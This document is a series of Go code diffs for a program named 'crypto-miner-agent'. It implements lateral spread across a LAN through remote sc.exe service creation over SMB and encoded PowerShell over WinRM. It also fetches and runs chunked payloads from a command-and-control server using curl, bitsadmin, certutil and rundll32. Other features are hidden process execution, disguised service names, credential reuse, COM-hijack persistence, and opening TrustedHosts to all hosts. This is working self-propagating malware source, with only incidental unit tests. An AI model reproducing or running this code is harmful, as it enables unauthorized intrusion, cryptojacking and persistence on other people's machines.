base[host] = dup
continue
}
if existing.Subnet == "" && h.Subnet != "" {
existing.Subnet = h.Subnet
}
existing.Services = dedupeEntries(append(existing.Services, h.Services...))
base[host] = existing
}
return base
}
func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
seen := make(map[string]bool, len(in))
out := make([]ServiceGraphEntry, 0, len(in))
for _, e := range in {
key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source
if seen[key] {
continue
}
seen[key] = true
out = append(out, e)
}
return out
}
type windowsServiceRow struct {
Name string `json:"name"`
Status string `json:"status"`
Port int `json:"port"`
}
type windowsDiscoverPayload struct {
Services []windowsServiceRow `json:"services"`
Hints []string `json:"hints"`
}
func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, row := range rows {
name := strings.TrimSpace(row.Name)
if name == "" {
continue
}
port := row.Port
if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 {
if p := strings.TrimPrefix(name, "tcp/"); p != name {
if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil {
port = n
}
}
}
entries = append(entries, ServiceGraphEntry{
ServiceName: name,
Port: port,
Status: strings.TrimSpace(row.Status),
JoinLaneCandidate: JoinLaneForSignal(name, port),
Source: "local_service",
})
}
return entries
}
// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units.
func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, line := range strings.Split(raw, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "UNIT") {
continue
}
fields := strings.Fields(line)
if len(fields) < 3 {
continue
}
unit := fields[0]
state := fields[2]
if state != "active" && state != "running" {
continue
}
entries = append(entries, entryWithLane(unit, 0, "local_service"))
}
return entries
}
// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script.
func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) {
raw = strings.TrimSpace(raw)
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return nil, nil
}
return windowsRowsToEntries(payload.Services), payload.Hints
}
// ParseServiceDiscoverJSON unmarshals agent command output into a result struct.
func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) {
var result ServiceDiscoverResult
raw = strings.TrimSpace(raw)
if idx := strings.Index(raw, "{"); idx > 0 {
raw = raw[idx:]
}
err := json.Unmarshal([]byte(raw), &result)
return result, err
}

View File

@@ -0,0 +1,53 @@
package deploy
import (
"fmt"
"strings"
"crypto-miner-agent/config"
)
// SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share.
type SMBUNCSpreadOpts struct {
UNCPath string
MaxHosts int
SvcName string
}
// ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share.
func ValidateUNCSpreadPath(unc string) error {
unc = strings.TrimSpace(unc)
if unc == "" {
return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)")
}
lower := strings.ToLower(unc)
if !strings.HasPrefix(lower, `\\`) {
return fmt.Errorf("unc_path must start with \\\\")
}
if strings.Contains(unc, "..") {
return fmt.Errorf("unc_path must not contain ..")
}
return nil
}
// RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe
// pointing at a UNC Forge output share (no PsExec, no local payload copy).
func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string {
if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil {
return "smb unc spread rejected: " + err.Error()
}
maxHosts := opts.MaxHosts
if maxHosts <= 0 {
maxHosts = 64
}
targets := DiscoverLANSpreadTargets(maxHosts)
go runSMBUNCSpreadSweep(cfg, opts, targets)
return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath)
}
func smbUNCSvcName(cfg config.RuntimeConfig, override string) string {
if strings.TrimSpace(override) != "" {
return sanitizeName(override)
}
return "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}

View File

@@ -0,0 +1,10 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
func runSMBUNCSpreadSweep(_ config.RuntimeConfig, _ SMBUNCSpreadOpts, targets []string) {
beginSpreadSweep("smb_unc_sc", len(targets))
finishSpreadSweepImmediate()
}

View File

@@ -0,0 +1,48 @@
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateUNCSpreadPath(t *testing.T) {
if err := ValidateUNCSpreadPath(`\\forge-host\pathforge$\worker.exe`); err != nil {
t.Fatalf("valid UNC rejected: %v", err)
}
if err := ValidateUNCSpreadPath(""); err == nil {
t.Fatal("empty UNC should fail")
}
if err := ValidateUNCSpreadPath(`C:\local\worker.exe`); err == nil {
t.Fatal("local path should fail")
}
if err := ValidateUNCSpreadPath(`\\host\share\..\evil.exe`); err == nil {
t.Fatal("traversal in UNC should fail")
}
}
func TestRunSMBUNCSpreadRejectsBadUNC(t *testing.T) {
msg := RunSMBUNCSpread(config.RuntimeConfig{}, SMBUNCSpreadOpts{UNCPath: "bad"})
if !strings.Contains(strings.ToLower(msg), "rejected") {
t.Fatalf("unexpected message: %q", msg)
}
}
func TestSMBUNCSvcName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
got := smbUNCSvcName(cfg, "")
if !strings.HasPrefix(got, "WinMgmtSync_") {
t.Fatalf("got %q", got)
}
if strings.Contains(got, " ") {
t.Fatal("service name must not contain spaces")
}
}
func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
targets := DiscoverLANSpreadTargets(2)
if len(targets) > 2 {
t.Fatalf("cap ignored: got %d targets", len(targets))
}
}

View File

@@ -0,0 +1,103 @@
//go:build windows
package deploy
import (
"log"
"net"
"strings"
"time"
"crypto-miner-agent/config"
)
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
beginSpreadSweep("smb_unc_sc", len(targets))
if len(targets) == 0 {
finishSpreadSweepImmediate()
return
}
shareRoot := uncShareRoot(opts.UNCPath)
if shareRoot != "" {
_ = ensureNetUse(shareRoot)
}
svcName := smbUNCSvcName(cfg, opts.SvcName)
binPath := formatSCBinPath(opts.UNCPath, runFlag)
for _, target := range targets {
spreadSem <- struct{}{}
go func(host string) {
defer func() { <-spreadSem }()
attemptSMBUNCSpread(host, svcName, binPath)
}(target)
}
}
func uncShareRoot(unc string) string {
unc = strings.TrimSpace(unc)
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
return ""
}
parts := strings.Split(unc[2:], `\`)
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
return ""
}
return `\\` + parts[0] + `\` + parts[1]
}
func ensureNetUse(share string) error {
out, err := HiddenCombinedOutput("net.exe", "use", share)
if err == nil {
return nil
}
msg := strings.ToLower(string(out))
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
return nil
}
return err
}
func formatSCBinPath(unc, args string) string {
unc = strings.TrimSpace(unc)
args = strings.TrimSpace(args)
if args == "" {
return `"` + unc + `"`
}
return `"` + unc + `" ` + args
}
func attemptSMBUNCSpread(target, svcName, binPath string) {
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 445 closed")
return
}
conn.Close()
var credSession SpreadCredSession
var credCleanup func()
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
credSession = session
if cleanup, applied := applySpreadCredSession(target, session); applied {
credCleanup = cleanup
}
}
if credCleanup != nil {
defer credCleanup()
}
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
"binPath=", binPath,
"type=", "own",
"start=", "demand")
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
} else {
recordSpreadAttempt(target, false, "remote sc start failed")
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
}
}

View File

@@ -0,0 +1,66 @@
package deploy
import (
"net"
"time"
)
// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps.
// ARP cache is consulted first; a capped /24 port knock supplements sparse caches.
func DiscoverLANSpreadTargets(maxHosts int) []string {
if maxHosts <= 0 {
maxHosts = 64
}
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
targets := mergeUniqueIPv4(arpHosts(), neighborHosts())
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(targets) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
if len(filtered) >= maxHosts {
break
}
}
return filtered
}

97
agent/deploy/staging.go Normal file
View File

@@ -0,0 +1,97 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
// StagingChunk is one downloadable piece of a staged payload.
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
}
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
type StagingManifest struct {
Method string `json:"method"` // curl | bits
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"` // exe | rundll32
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"` // chunks are base64; decode via certutil
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
}
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.
func ResolveStagingPath(remote string) (string, error) {
return ResolveRemotePath(remote)
}
func sanitizeStagingFilename(name string) (string, error) {
name = strings.TrimSpace(name)
name = strings.ReplaceAll(name, "\\", "/")
if name == "" {
return "", fmt.Errorf("chunk filename is empty")
}
parts := strings.Split(name, "/")
var clean []string
for _, p := range parts {
p = strings.TrimSpace(p)
if p == "" || p == "." || p == ".." {
continue
}
clean = append(clean, p)
}
if len(clean) == 0 {
return "", fmt.Errorf("chunk filename is empty")
}
return filepath.Join(clean...), nil
}
func verifyFileSHA256(path, expected string) error {
expected = strings.ToLower(strings.TrimSpace(expected))
if expected == "" {
return fmt.Errorf("sha256 hash is required")
}
f, err := os.Open(path)
if err != nil {
return err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return err
}
got := hex.EncodeToString(h.Sum(nil))
if got != expected {
return fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
}
return nil
}
func concatFiles(dest string, parts []string) error {
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o755)
if err != nil {
return err
}
defer out.Close()
for _, part := range parts {
in, err := os.Open(part)
if err != nil {
return err
}
if _, err := io.Copy(out, in); err != nil {
in.Close()
return err
}
in.Close()
}
return nil
}

View File

@@ -0,0 +1,14 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
// RunStagingChain is Windows-only (BITS/curl/certutil/rundll32).
func RunStagingChain(_ config.RuntimeConfig, _ StagingManifest) (string, error) {
return "", fmt.Errorf("staging chain is Windows-only")
}

View File

@@ -0,0 +1,96 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
)
func TestStagingRejectsPathTraversal(t *testing.T) {
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "staging/../../outside.exe"},
{name: "absolute_with_traversal", path: "/var/tmp/../../etc/shadow"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
_, err := ResolveStagingPath(tc.path)
if err == nil {
t.Fatalf("ResolveStagingPath(%q) should reject traversal", tc.path)
}
if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveStagingPath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
}
})
}
}
func TestSanitizeStagingFilenameRejectsTraversal(t *testing.T) {
cases := []string{
"../evil.bin",
`..\..\payload.exe`,
"parts/../../../x.b64",
}
for _, raw := range cases {
got, err := sanitizeStagingFilename(raw)
if err != nil {
continue
}
if strings.Contains(got, "..") {
t.Fatalf("sanitizeStagingFilename(%q) leaked traversal: %q", raw, got)
}
}
}
func TestSanitizeStagingFilenameAcceptsSafeName(t *testing.T) {
got, err := sanitizeStagingFilename("chunk-0.b64")
if err != nil {
t.Fatal(err)
}
if got != "chunk-0.b64" {
t.Fatalf("got %q", got)
}
}
func TestVerifyFileSHA256Match(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "payload.bin")
content := []byte("staging-chunk-data")
if err := os.WriteFile(path, content, 0o644); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(content)
if err := verifyFileSHA256(path, hex.EncodeToString(sum[:])); err != nil {
t.Fatalf("verify: %v", err)
}
}
func TestVerifyFileSHA256Mismatch(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "payload.bin")
if err := os.WriteFile(path, []byte("other"), 0o644); err != nil {
t.Fatal(err)
}
if err := verifyFileSHA256(path, strings.Repeat("a", 64)); err == nil {
t.Fatal("expected sha256 mismatch error")
}
}
func TestVerifyFileSHA256RequiresHash(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "empty.bin")
if err := os.WriteFile(path, nil, 0o644); err != nil {
t.Fatal(err)
}
if err := verifyFileSHA256(path, ""); err == nil {
t.Fatal("expected error for empty expected hash")
}
}

View File

@@ -0,0 +1,141 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// RunStagingChain downloads chunks via curl.exe or bitsadmin, optionally decodes
// with certutil, verifies the server-supplied SHA256, and launches via rundll32 or exe.
func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string, error) {
if len(manifest.Chunks) == 0 {
return "", fmt.Errorf("staging manifest has no chunks")
}
dest, err := ResolveStagingPath(manifest.Dest)
if err != nil {
return "", err
}
workDir := filepath.Join(filepath.Dir(dest), ".staging-"+sanitizeName(cfg.WorkerName))
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", err
}
defer os.RemoveAll(workDir)
method := strings.ToLower(strings.TrimSpace(manifest.Method))
if method == "" {
method = "curl"
}
var assembled []string
for i, chunk := range manifest.Chunks {
name, err := sanitizeStagingFilename(chunk.File)
if err != nil {
return "", fmt.Errorf("chunk %d: %w", i, err)
}
localPath := filepath.Join(workDir, name)
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
return "", err
}
switch method {
case "bits", "bitsadmin":
if err := downloadChunkBITS(chunk.URL, localPath); err != nil {
return "", fmt.Errorf("bits chunk %d: %w", i, err)
}
default:
if err := downloadChunkCurl(chunk.URL, localPath); err != nil {
return "", fmt.Errorf("curl chunk %d: %w", i, err)
}
}
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
if err := certutilDecode(localPath, decoded); err != nil {
return "", fmt.Errorf("certutil chunk %d: %w", i, err)
}
assembled = append(assembled, decoded)
} else {
assembled = append(assembled, localPath)
}
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
return "", err
}
if len(assembled) == 1 {
if err := os.Rename(assembled[0], dest); err != nil {
if err := copyFile(assembled[0], dest); err != nil {
return "", err
}
}
} else {
if err := concatFiles(dest, assembled); err != nil {
return "", err
}
}
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
_ = os.Remove(dest)
return "", err
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched rundll32 %s", len(manifest.Chunks), method, dest, export), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched exe %v", len(manifest.Chunks), method, dest, args), nil
}
}
func downloadChunkCurl(url, dest string) error {
url = strings.TrimSpace(url)
if url == "" {
return fmt.Errorf("chunk url is empty")
}
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
}
func downloadChunkBITS(url, dest string) error {
url = strings.TrimSpace(url)
if url == "" {
return fmt.Errorf("chunk url is empty")
}
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
steps := [][]string{
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
}
for _, args := range steps {
if err := HiddenRun("bitsadmin", args...); err != nil {
_ = HiddenRun("bitsadmin", "/cancel", job)
return err
}
}
_ = HiddenRun("bitsadmin", "/complete", job)
return nil
}
func certutilDecode(src, dest string) error {
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
}

View File

@@ -8,11 +8,15 @@ import (
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go):
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
// and create/start a remote service via sc.exe (typically requires local admin
// or equivalent on the target).
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
// then sc.exe \\host create/start on the local path.
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
// the egress hop via POST /api/v1/pathtrace/spread.
// - Both require an admin-capable token on the target for remote SCM.
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
@@ -20,10 +24,13 @@ import (
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery:
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
// may appear when the OS neighbor cache lists them on a shared /64.
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
// - ARP cache is consulted first (arp_*.go) before any active sweep.
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {

View File

@@ -0,0 +1,20 @@
package deploy
import (
"log"
"crypto-miner-agent/vulnprobe"
)
func init() {
vulnprobe.HiddenExec = HiddenCombinedOutput
}
// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit).
func RunVulnRecon(osVersion string) *vulnprobe.ScanReport {
ctx := vulnprobe.ProbeHost(nil, osVersion)
report := vulnprobe.Run(ctx)
log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s",
report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary)
return report
}

View File

@@ -0,0 +1,128 @@
//go:build windows
package deploy
import (
"encoding/base64"
"fmt"
"log"
"os"
"strings"
"time"
"unicode/utf16"
"crypto-miner-agent/config"
)
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
recordSpreadAttempt(target, false, "winrm port closed")
return
}
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
return
}
destName := sharePayloadName(cfg)
script := fmt.Sprintf(`
$dest = Join-Path $env:TEMP '%s'
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
if (Test-Path $dest) {
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
}
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
encoded := encodePowerShell(script)
var credSession SpreadCredSession
ps := fmt.Sprintf(`
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, target, encoded)
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
credSession = session
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
}
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
if cfg.COMHijackPersist {
_ = applyCOMHijackPersistence(exePath)
}
return
}
recordSpreadAttempt(target, false, "winrm invoke failed")
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
}
func encodePowerShell(script string) string {
utf16le := utf16.Encode([]rune(script))
buf := make([]byte, len(utf16le)*2)
for i, r := range utf16le {
buf[i*2] = byte(r)
buf[i*2+1] = byte(r >> 8)
}
return base64.StdEncoding.EncodeToString(buf)
}
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
func spreadViaWinRM(cfg config.RuntimeConfig) {
if !cfg.WinRMSpread && !cfg.AutoSpread {
return
}
localIPs := getLocalIPs()
var targets []string
localSet := make(map[string]bool)
for _, ip := range localIPs {
localSet[ip] = true
}
for _, ip := range localIPs {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if localSet[candidate] {
continue
}
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
targets = append(targets, candidate)
}
}
}
beginSpreadSweep("winrm_encoded", len(targets))
if len(targets) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range targets {
t := target
spreadSem <- struct{}{}
go func() {
defer func() { <-spreadSem }()
attemptWinRMSpread(cfg, t)
}()
}
}
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
func EnableLocalPSRemoting() error {
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
}